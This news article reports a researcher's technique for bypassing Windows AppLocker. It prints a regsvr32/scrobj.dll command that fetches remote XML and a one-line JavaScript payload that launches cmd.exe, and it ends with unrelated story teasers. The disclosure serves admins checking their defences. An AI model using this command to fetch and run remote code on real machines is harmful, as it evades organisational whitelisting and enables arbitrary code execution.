Bypass the Windows AppLocker bouncer with a tweet-size command

How to go off script on office, school desktops

Video If you're relying on Microsoft's AppLocker to lock down your office or school Windows PCs, then you should check this out. A security researcher says he's found a way to potentially bypass the operating system's software whitelist and launch arbitrary scripts.

AppLocker lets IT admins managing large networks of machines define which applications and scripts users can and can't run and install. It was introduced in Windows 7, and the idea is to keep users on the straight and narrow: stop them from launching non-work-related programs, stop them from running malicious programs or malware-launching scripts, or stop them from running programs that will involve lots of support calls.

A security researcher called Casey Smith has found that AppLocker's script defenses can be potentially bypassed with a pretty simple command. Here's a sample command demonstrating the technique; it even fits neatly in a tweet, and verified using an El Reg Windows Enterprise system:

regsvr32 /s /n /u /i: scrobj.dll

Running this tells Windows to fetch an XML file from the internet, which tells it to run cmd.exe. The magic here is that if you change cmd.exe for any program outside the AppLocker whitelist, bingo: it will start, in theory. regsvr32 is part of the operating system and can be used to register and unregister COM script files with the Windows Registry. /s tells regsvr32 to be silent, /n tells it not to use DllRegisterServer, /i passes an optional parameter (our URL) to DLLinstall, /u means we're trying to unregister an object, and scrobj.dll is Microsoft's Script Component Runtime.

Smith found that if you give regsvr32 a URL to parse, it will actually fetch the file over HTTP or HTTPS, even via a configured proxy, and process it. By embedding some JavaScript in the fetched XML, and triggering its execution by requesting a .DLL unregistration, it's possible to run arbitrary scripts bypassing AppLocker and cause mischief. Any user can request this unregistration.

"It's not well documented that regsvr32.exe can accept a URL for a script," said Smith.

In the above case, the embedded JavaScript uses ActiveX:

var r = new ActiveXObject("WScript.Shell").Run("cmd.exe");

Here's a video of the technique in action:

Youtube Video

It's a case of chaining together various components in the labyrinth of years-and-years-old code that is Microsoft Windows. JavaScript, Visual Basic and Powershell scripts can be run from the internet, or a local file, via regsvr32, according to Smith. He has produced a collection of proof-of-concept scripts for remote-code execution on Windows via regsvr32 – including the opening of backdoors on the machine.

Now, you have to be logged into the PC as a normal user or guest to pull off this trick, and all it does is get you past AppLocker. Usually, you need admin-rights to bypass the whitelist.

It's also possible that Windows 10's Device Guard running with Hyper-V and scripting protection fully switched on will block these attempts. In any case, if you're relying on AppLocker on your fleet of systems, you may want to try out Smith's code examples to see if your setup is vulnerable (before someone else does).

"It's built-in remote code execution without admin rights and which bypasses Windows whitelisting. I'd say it's pretty bad," said Alex Ionescu, a Windows and ARM kernel guru.

The trick – Smith didn't want to call it an exploit – is neat because it does not touch the Registry, does not need administrator rights, can be wrapped up in an encrypted HTTP session, and should leave no trace on disk as it's a pure to-memory download. No patch exists for this, although regsvr32 can be firewalled off from the internet. Microsoft was not available for immediate comment.

Infosec researcher Kenn White said: "This just made a lot of corporate penetration testers very, very happy." ®

Similar topics

Other stories you might like

  • Stolen university credentials up for sale by Russian crooks, FBI warns
    Forget dark-web souks, thousands of these are already being traded on public bazaars

    Russian crooks are selling network credentials and virtual private network access for a "multitude" of US universities and colleges on criminal marketplaces, according to the FBI.

    According to a warning issued on Thursday, these stolen credentials sell for thousands of dollars on both dark web and public internet forums, and could lead to subsequent cyberattacks against individual employees or the schools themselves.

    "The exposure of usernames and passwords can lead to brute force credential stuffing computer network attacks, whereby attackers attempt logins across various internet sites or exploit them for subsequent cyber attacks as criminal actors take advantage of users recycling the same credentials across multiple accounts, internet sites, and services," the Feds' alert [PDF] said.

    Continue reading
  • Big Tech loves talking up privacy – while trying to kill privacy legislation
    Study claims Amazon, Apple, Google, Meta, Microsoft work to derail data rules

    Amazon, Apple, Google, Meta, and Microsoft often support privacy in public statements, but behind the scenes they've been working through some common organizations to weaken or kill privacy legislation in US states.

    That's according to a report this week from news non-profit The Markup, which said the corporations hire lobbyists from the same few groups and law firms to defang or drown state privacy bills.

    The report examined 31 states when state legislatures were considering privacy legislation and identified 445 lobbyists and lobbying firms working on behalf of Amazon, Apple, Google, Meta, and Microsoft, along with industry groups like TechNet and the State Privacy and Security Coalition.

    Continue reading
  • SEC probes Musk for not properly disclosing Twitter stake
    Meanwhile, social network's board rejects resignation of one its directors

    America's financial watchdog is investigating whether Elon Musk adequately disclosed his purchase of Twitter shares last month, just as his bid to take over the social media company hangs in the balance. 

    A letter [PDF] from the SEC addressed to the tech billionaire said he "[did] not appear" to have filed the proper form detailing his 9.2 percent stake in Twitter "required 10 days from the date of acquisition," and asked him to provide more information. Musk's shares made him one of Twitter's largest shareholders. The letter is dated April 4, and was shared this week by the regulator.

    Musk quickly moved to try and buy the whole company outright in a deal initially worth over $44 billion. Musk sold a chunk of his shares in Tesla worth $8.4 billion and bagged another $7.14 billion from investors to help finance the $21 billion he promised to put forward for the deal. The remaining $25.5 billion bill was secured via debt financing by Morgan Stanley, Bank of America, Barclays, and others. But the takeover is not going smoothly.

    Continue reading

Biting the hand that feeds IT © 1998–2022